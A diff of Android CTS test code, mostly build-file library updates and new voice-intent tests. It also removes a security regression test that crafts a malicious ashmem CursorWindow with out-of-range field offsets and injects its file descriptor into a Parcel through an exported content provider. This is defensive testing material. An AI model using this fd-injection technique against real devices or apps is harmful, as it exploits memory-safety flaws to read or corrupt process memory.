diff --git a/tests/tests/calllog/src/android/calllog/cts/TestUtils.java b/tests/tests/calllog/src/android/calllog/cts/TestUtils.java
new file mode 100644
index 0000000..d2c57a5
--- /dev/null
+++ b/tests/tests/calllog/src/android/calllog/cts/TestUtils.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.calllog.cts;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.telecom.PhoneAccountHandle;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+
+public class TestUtils {
+    /**
+     * Executes the given shell command and returns the output in a string. Note that even
+     * if we don't care about the output, we have to read the stream completely to make the
+     * command execute.
+     */
+    public static String executeShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        BufferedReader br = null;
+        try (InputStream in = executeStreamedShellCommand(instrumentation, command)) {
+            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String str = null;
+            StringBuilder out = new StringBuilder();
+            while ((str = br.readLine()) != null) {
+                out.append(str);
+            }
+            return out.toString();
+        } finally {
+            if (br != null) {
+                closeQuietly(br);
+            }
+        }
+    }
+
+    public static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        final ParcelFileDescriptor pfd =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        return new FileInputStream(pfd.getFileDescriptor());
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+}
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 0138317..c5ede39 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.car
 
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 53e051f..85eb946 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -22,7 +22,11 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    ctsdeviceutil \
+    junit \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index b27b99f..1c5f6ae 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -21,18 +21,17 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := libnativecursorwindow_jni libnativehelper_compat_libc++
-
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES :=  android-support-v4 \
-                                android-support-multidex \
-                                ctsdeviceutil \
-                                ctstestrunner \
-                                services.core
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    android-support-multidex \
+    ctsdeviceutil \
+    ctstestrunner \
+    services.core \
+    junit \
+    legacy-android-test \
+
 
 # Use multi-dex as the compatibility-common-util-devicesidelib dependency
 # on ctsdeviceutil pushes us beyond 64k methods.
@@ -51,5 +50,3 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 040eafa..d4f203e 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -219,13 +219,6 @@
             </intent-filter>
         </activity>
 
-        <provider
-                android:name="android.content.cts.CursorWindowContentProvider"
-                android:authorities="cursorwindow.provider"
-                android:exported="true"
-                android:process=":providerProcess">
-        </provider>
-
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/content/jni/Android.mk b/tests/tests/content/jni/Android.mk
deleted file mode 100644
index 4737b35..0000000
--- a/tests/tests/content/jni/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libnativecursorwindow_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := NativeCursorWindow.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
-LOCAL_CXX_STL := libc++_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/content/jni/NativeCursorWindow.c b/tests/tests/content/jni/NativeCursorWindow.c
deleted file mode 100644
index a2fb92a..0000000
--- a/tests/tests/content/jni/NativeCursorWindow.c
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define LOG_TAG "NativeCursorWindow"
-
-#include <jni.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <linux/ashmem.h>
-#include <utils/Log.h>
-
-struct Header {
-    // Offset of the lowest unused byte in the window.
-    uint32_t freeOffset;
-
-    // Offset of the first row slot chunk.
-    uint32_t firstChunkOffset;
-
-    uint32_t numRows;
-    uint32_t numColumns;
-};
-
-struct RowSlot {
-    uint32_t offset;
-};
-
-#define ROW_SLOT_CHUNK_NUM_ROWS 100
-
-struct RowSlotChunk {
-    struct RowSlot slots[ROW_SLOT_CHUNK_NUM_ROWS];
-    uint32_t nextChunkOffset;
-};
-
-/* Field types. */
-enum {
-    FIELD_TYPE_NULL = 0,
-    FIELD_TYPE_INTEGER = 1,
-    FIELD_TYPE_FLOAT = 2,
-    FIELD_TYPE_STRING = 3,
-    FIELD_TYPE_BLOB = 4,
-};
-
-/* Opaque type that describes a field slot. */
-struct FieldSlot {
-    int32_t type;
-    union {
-        double d;
-        int64_t l;
-        struct {
-            uint32_t offset;
-            uint32_t size;
-        } buffer;
-    } data;
-} __attribute((packed));
-
-JNIEXPORT jint JNICALL
-Java_android_content_cts_CursorWindowContentProvider_makeNativeCursorWindowFd(JNIEnv *env, jclass clazz,
-jint offset, jint size, jboolean isBlob) {
-    int fd = open("/dev/ashmem", O_RDWR);
-    ioctl(fd, ASHMEM_SET_NAME, "Fake CursorWindow");
-
-    ioctl(fd, ASHMEM_SET_SIZE, 1024);
-
-    void *data = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
-
-    struct Header *header = (struct Header *) data;
-    unsigned rowSlotChunkOffset = sizeof(struct Header);
-    struct RowSlotChunk *rowSlotChunk = (struct RowSlotChunk *)(data + rowSlotChunkOffset);
-    unsigned fieldSlotOffset = rowSlotChunkOffset + sizeof(struct RowSlotChunk);
-    struct FieldSlot *fieldSlot = (struct FieldSlot *) (data + fieldSlotOffset);
-
-    header->numRows = 1;
-    header->numColumns = 1;
-    header->firstChunkOffset = rowSlotChunkOffset;
-
-    rowSlotChunk->slots[0].offset = fieldSlotOffset;
-
-    fieldSlot->type = isBlob ? FIELD_TYPE_BLOB : FIELD_TYPE_STRING;
-    fieldSlot->data.buffer.offset = offset;
-    fieldSlot->data.buffer.size = size;
-
-    munmap(data, 1024);
-
-    return fd;
-
-}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 6e08f7d..dc92526 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -28,6 +28,7 @@
 import android.provider.AlarmClock;
 import android.provider.MediaStore;
 import android.provider.Settings;
+import android.speech.RecognizerIntent;
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
@@ -50,6 +51,23 @@
     }
 
     /**
+     * Assert target intent is not resolved by a filter with priority greater than 0.
+     * @param intent - the Intent will be handled.
+     */
+    private void assertDefaultHandlerValidPriority(final Intent intent) {
+        PackageManager packageManager = mContext.getPackageManager();
+        List<ResolveInfo> resolveInfoList = packageManager.queryIntentActivities(intent, 0);
+        assertNotNull(resolveInfoList);
+        // one or more activity can handle this intent.
+        assertTrue(resolveInfoList.size() > 0);
+        // no activities override defaults with a high priority. Only system activities can override
+        // the priority.
+        for (ResolveInfo resolveInfo : resolveInfoList) {
+            assertTrue(resolveInfo.priority <= 0);
+        }
+    }
+
+    /**
      * Test ACTION_VIEW when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
@@ -292,4 +310,16 @@
     public void testManageStorage() {
         assertCanBeHandled(new Intent(StorageManager.ACTION_MANAGE_STORAGE));
     }
+ 
+    public void testVoiceCommand() {
+        Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
+        assertCanBeHandled(intent);
+        assertDefaultHandlerValidPriority(intent);
+    }
+
+    public void testVoiceSearchHandsFree() {
+        Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
+        assertCanBeHandled(intent);
+        assertDefaultHandlerValidPriority(intent);
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
deleted file mode 100644
index e771461..0000000
--- a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.content.cts;
-
-import android.database.Cursor;
-import android.database.sqlite.SQLiteException;
-import android.net.Uri;
-import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-
-/**
- * Test {@link CursorWindowContentProvider} .
- */
-@SecurityTest
-public class ContentProviderCursorWindowTest extends AndroidTestCase {
-    private static final String TAG = "ContentProviderCursorWindowTest";
-
-    public void testQuery() throws IOException {
-        Cursor cursor = getContext().getContentResolver().query(
-                Uri.parse("content://cursorwindow.provider/hello"),
-                null, null, null, null
-        );
-        try {
-            cursor.moveToFirst();
-
-            int type = cursor.getType(0);
-            if (type != Cursor.FIELD_TYPE_BLOB) {
-                fail("Unexpected type " + type);
-            }
-            byte[] blob = cursor.getBlob(0);
-            Log.i(TAG,  "Blob length " + blob.length);
-            fail("getBlob should fail due to invalid offset used in the field slot");
-        } catch (SQLiteException expected) {
-            Log.i(TAG, "Expected exception: " + expected);
-        } finally {
-            cursor.close();
-        }
-    }
-}
diff --git a/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java b/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java
deleted file mode 100644
index 4266f35..0000000
--- a/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.content.cts;
-
-import android.annotation.NonNull;
-import android.annotation.Nullable;
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.AbstractWindowedCursor;
-import android.database.Cursor;
-import android.database.CursorWindow;
-import android.net.Uri;
-import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-/**
- * Content provider that uses a custom {@link CursorWindow} to inject file descriptor
- * pointing to another ashmem region having window slots with references outside of allowed ranges.
- *
- * <p>Used in {@link ContentProviderCursorWindowTest}
- */
-public class CursorWindowContentProvider extends ContentProvider {
-    private static final String TAG = "CursorWindowContentProvider";
-    static {
-        System.loadLibrary("nativecursorwindow_jni");
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection,
-            String[] selectionArgs, String sortOrder) {
-        AbstractWindowedCursor cursor = new AbstractWindowedCursor() {
-            @Override
-            public int getCount() {
-                return 1;
-            }
-
-            @Override
-            public String[] getColumnNames() {
-                return new String[] {"a"};
-            }
-        };
-        cursor.setWindow(new InjectingCursorWindow("TmpWindow"));
-        return cursor;
-    }
-
-    class InjectingCursorWindow extends CursorWindow {
-        InjectingCursorWindow(String name) {
-            super(name);
-        }
-
-        @Override
-        public void writeToParcel(Parcel dest, int flags) {
-            Parcel tmp = Parcel.obtain();
-
-            super.writeToParcel(tmp, flags);
-            tmp.setDataPosition(0);
-            // Find location of file descriptor
-            int fdPos = -1;
-            while (tmp.dataAvail() > 0) {
-                fdPos = tmp.dataPosition();
-                int frameworkFdMarker = tmp.readInt();
-                if (frameworkFdMarker == 0x66642a85 /* BINDER_TYPE_FD */) {
-                    break;
-                }
-            }
-            if (fdPos == -1) {
-                tmp.recycle();
-                throw new IllegalStateException("File descriptor not found in the output of "
-                        + "CursorWindow.writeToParcel");
-            }
-            // Write reply with replaced file descriptor
-            ParcelFileDescriptor evilFd = ParcelFileDescriptor
-                    .adoptFd(makeNativeCursorWindowFd(1000, 1000, true));
-            dest.appendFrom(tmp, 0, fdPos);
-            dest.writeFileDescriptor(evilFd.getFileDescriptor());
-            tmp.setDataPosition(dest.dataPosition());
-            dest.appendFrom(tmp, dest.dataPosition(), tmp.dataAvail());
-            tmp.recycle();
-        }
-    }
-
-    private native static int makeNativeCursorWindowFd(int offset, int size, boolean isBlob);
-
-    // Stubs
-    @Override
-    public boolean onCreate() {
-        return true;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        Log.e(TAG, "delete() not implemented");
-        return 0;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        Log.e(TAG, "getType() not implemented");
-        return "";
-    }
-
-    @Override
-    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
-        Log.e(TAG, "insert() not implemented");
-        return null;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection,
-            String[] selectionArgs) {
-        Log.e(TAG, "update() not implemented");
-        return 0;
-    }
-
-}
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 36ca51b..1be93c6 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -21,7 +21,12 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES += android-common ctstestrunner ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-common \
+    ctstestrunner \
+    ctstestrunner \
+    junit \
+    legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/tests/tests/deqp/Android.mk b/tests/tests/deqp/Android.mk
deleted file mode 100644
index ce8678b..0000000
--- a/tests/tests/deqp/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Dummy target to make dEQP test list generation consistent with other tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# All APIs share the same package
-LOCAL_PACKAGE_NAME := com.drawelements.deqp
-
-include $(LOCAL_PATH)/deqp_egl.mk
-include $(LOCAL_PATH)/deqp_gles2.mk
-include $(LOCAL_PATH)/deqp_gles3.mk
-include $(LOCAL_PATH)/deqp_gles31.mk
-
-# Make the deqp app and copy it to CTS out dir.
-cts_deqp_name := com.drawelements.deqp
-cts_deqp_apk := $(CTS_TESTCASES_OUT)/$(cts_deqp_name).apk
-$(cts_deqp_apk): $(call intermediates-dir-for,APPS,$(cts_deqp_name))/package.apk
-	$(call copy-file-to-target)
diff --git a/tests/tests/deqp/deqp_egl.mk b/tests/tests/deqp/deqp_egl.mk
deleted file mode 100644
index 6b4eed6..0000000
--- a/tests/tests/deqp/deqp_egl.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Dummy target to make dEQP EGL test list generation consistent with other
-# tests.
-
-DEQP_API := egl
-DEQP_TEST_NAME := dEQP-EGL
-
-include $(BUILD_CTS_DEQP_PACKAGE)
diff --git a/tests/tests/deqp/deqp_gles2.mk b/tests/tests/deqp/deqp_gles2.mk
deleted file mode 100644
index 3cd60da..0000000
--- a/tests/tests/deqp/deqp_gles2.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Dummy target to make dEQP GLES2 test list generation consistent with other
-# tests.
-
-DEQP_API := gles2
-DEQP_TEST_NAME := dEQP-GLES2
-
-include $(BUILD_CTS_DEQP_PACKAGE)
diff --git a/tests/tests/deqp/deqp_gles3.mk b/tests/tests/deqp/deqp_gles3.mk
deleted file mode 100644
index 07dfdae..0000000
--- a/tests/tests/deqp/deqp_gles3.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Dummy target to make dEQP GLES3 test list generation consistent with other
-# tests.
-
-DEQP_API := gles3
-DEQP_TEST_NAME := dEQP-GLES3
-
-include $(BUILD_CTS_DEQP_PACKAGE)
diff --git a/tests/tests/deqp/deqp_gles31.mk b/tests/tests/deqp/deqp_gles31.mk
deleted file mode 100644
index 7e45413..0000000
--- a/tests/tests/deqp/deqp_gles31.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Dummy target to make dEQP GLES31 test list generation consistent with other
-# tests.
-
-DEQP_API := gles31
-DEQP_TEST_NAME := dEQP-GLES31
-
-include $(BUILD_CTS_DEQP_PACKAGE)
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 2b81ec1..81941f5 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,15 +27,13 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_PACKAGE_NAME := CtsDisplayTestCases
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/display/OldAndroidTest.xml b/tests/tests/display/OldAndroidTest.xml
deleted file mode 100644
index dd42984..0000000
--- a/tests/tests/display/OldAndroidTest.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Base config for CTS package preparer">
-    <include name="common-config" />
-    <!-- Use a non-standard pattern, must match values in tests/tests/display/.../DisplayTest.java -->
-    <option name="run-command:run-command" value="settings put global overlay_display_devices '181x161/214|181x161/214'" />
-    <option name="run-command:teardown-command" value="settings put global overlay_display_devices &quot;&quot;" />
-</configuration>
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 0c158121..963db7a 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -41,6 +41,8 @@
 # CTS tests, so drop it into a library that other tests can use.
 include $(CLEAR_VARS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := junit legacy-android-test
+
 LOCAL_SRC_FILES := src/android/dpi/cts/DefaultManifestAttributesTest.java
 
 LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/dpi/AndroidManifest.xml b/tests/tests/dpi/AndroidManifest.xml
index 6335fe9..118050e 100644
--- a/tests/tests/dpi/AndroidManifest.xml
+++ b/tests/tests/dpi/AndroidManifest.xml
@@ -19,7 +19,7 @@
     package="android.dpi.cts">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application android:resizeableActivity="false">
+    <application>
         <uses-library android:name="android.test.runner" />
 
         <activity android:name="android.dpi.cts.OrientationActivity"
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 2919ef8..6e7c649 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # We use the DefaultManifestAttributesTest from the android.cts.dpi package.
-LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index b268e37..eb46897 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
 LOCAL_JAVA_LIBRARIES :=  android.test.runner
 
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index 02567be..136ff7c 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,7 +24,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
index 87f00a4..fe9a041 100644
--- a/tests/tests/drm/jni/Android.mk
+++ b/tests/tests/drm/jni/Android.mk
@@ -30,4 +30,6 @@
 LOCAL_SHARED_LIBRARIES := liblog libdl
 LOCAL_SDK_VERSION := 23
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/drm/lib/Android.mk b/tests/tests/drm/lib/Android.mk
index a061abd..73d2fe5 100644
--- a/tests/tests/drm/lib/Android.mk
+++ b/tests/tests/drm/lib/Android.mk
@@ -16,8 +16,8 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_CFLAGS := $(libc_common_cflags) \
-    -Wno-unused-parameter \
+LOCAL_CFLAGS := -Wall -Wextra -Wunused -Werror \
+	-Wno-unused-parameter
 
 LOCAL_MODULE := libdrmtestplugin
 
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index c438dd6..3208177 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -32,8 +32,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/externalservice/OldAndroidTest.xml b/tests/tests/externalservice/OldAndroidTest.xml
deleted file mode 100644
index 838db60..0000000
--- a/tests/tests/externalservice/OldAndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS External Service test cases">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsExternalServiceService.apk" />
-    <option name="cts-apk-installer:test-file-name" value="CtsExternalServiceTestCases.apk" />
-</configuration>
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index d4d0d33..5329800 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
